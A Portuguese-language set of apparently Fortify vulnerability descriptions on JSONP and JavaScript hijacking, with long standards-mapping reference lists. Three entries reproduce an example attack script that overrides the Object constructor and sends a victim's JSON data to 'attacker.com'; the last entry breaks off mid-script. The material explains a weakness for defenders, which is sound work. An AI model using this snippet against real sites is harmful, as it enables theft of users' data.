[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.python.javascript_hijacking_constructor_poisoning
Abstract
O JSONP é uma técnica de comunicação não segura e só deve ser usada quando dados pessoais ou confidenciais não estão envolvidos e limpando a função de retorno de chamada.
Explanation
Por padrão, o JSONP permite a realização de solicitações entre domínios, mas não possui mecanismos para restringir e verificar origens de solicitações. Um site mal-intencionado pode facilmente realizar uma solicitação JSONP em nome do usuário e processar a resposta JSON. Por esse motivo, é altamente recomendável evitar essa técnica de comunicação quando PII ou dados confidenciais estão sendo enviados.
Por padrão, o JSONP é um ataque de XSS autoinfligido, pois o nome da função de retorno de chamada precisa ser refletido no site solicitante para o devido processamento do JSON. É obrigatório validar e limpar o nome da função de retorno de chamada a fim de evitar a injeção JavaScript. Para limpar o nome da função de retorno de chamada, considere usar uma lista de permissões, quando possível, ou restrinja os caracteres de forma que eles sejam somente alfanuméricos.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_jsonp
Abstract
O JSONP é uma técnica de comunicação não segura e só deve ser usada quando dados pessoais ou confidenciais não estão envolvidos.
Explanation
Por padrão, o JSONP permite a realização de solicitações entre domínios, mas não possui mecanismos para restringir e verificar origens de solicitações. Um site mal-intencionado pode facilmente realizar uma solicitação JSONP em nome do usuário e processar a resposta JSON. Por esse motivo, é altamente recomendável evitar essa técnica de comunicação quando PII ou dados confidenciais estão sendo enviados.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 7
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[6] Standards Mapping - Common Weakness Enumeration CWE ID 346
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Top 10 2021 A07 Identification and Authentication Failures
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 3.5.3 Token-based Session Management (L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 14.5.2 Validate HTTP Request Header Requirements (L1 L2 L3), 14.5.3 Validate HTTP Request Header Requirements (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[14] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
Aplicativos que utilizam o Microsoft AJAX.NET (Atlas) podem ser vulneráveis a sequestros de JavaScript, o que permite que um invasor não autorizado leia dados confidenciais.
Explanation
O Microsoft AJAX.NET (Atlas) usa JSON para transferir dados entre o servidor e o cliente. A estrutura produz respostas formadas por um JavaScript válido que pode ser avaliado com o uso de uma tag <script> e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura utiliza o método POST para enviar solicitações, o que torna difícil gerar uma solicitação a partir de uma tag <script> mal-intencionada (já que tags <script> geram apenas solicitações GET). No entanto, o Microsoft AJAX.NET fornece mecanismos para usar solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.

Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
Os aplicativos que aproveitam a estrutura Ajax do Google Web Toolkit (GWT) podem estar vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais.
Explanation
O GWT usa JSON para transferir dados entre o servidor e o cliente. A estrutura produz respostas formadas por um JavaScript válido que pode ser avaliado com o uso de uma tag <script> e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura usa o método POST para enviar solicitações, o que torna difícil gerar um pedido a partir de uma etiqueta maliciosa <script> (uma vez que etiquetas <script> só geram solicitações GET). No entanto, o GWT fornece mecanismos para a utilização de solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.

Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.java.javascript_hijacking_vulnerable_framework
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Os navegadores da Web aplicam a Política de Mesma Origem para proteger os usuários de sites mal-intencionados. A mesma Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto o JavaScript quanto a página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e, depois, comunicá-las ao invasor. O sequestro de JavaScript permite que um invasor ignore a política da mesma origem no caso de um aplicativo da web usar JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não possa examinar diretamente quaisquer dados carregados de um site vulnerável no cliente, ele ainda pode tirar vantagem dessa brecha, configurando um ambiente que permite testemunhar a execução do JavaScript e quaisquer efeitos colaterais relevantes que possa ter. Como muitos aplicativos da Web 2.0 usam JavaScript como mecanismo de transporte de dados, eles costumam ser vulneráveis, ao contrário dos aplicativos tradicionais da Web.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
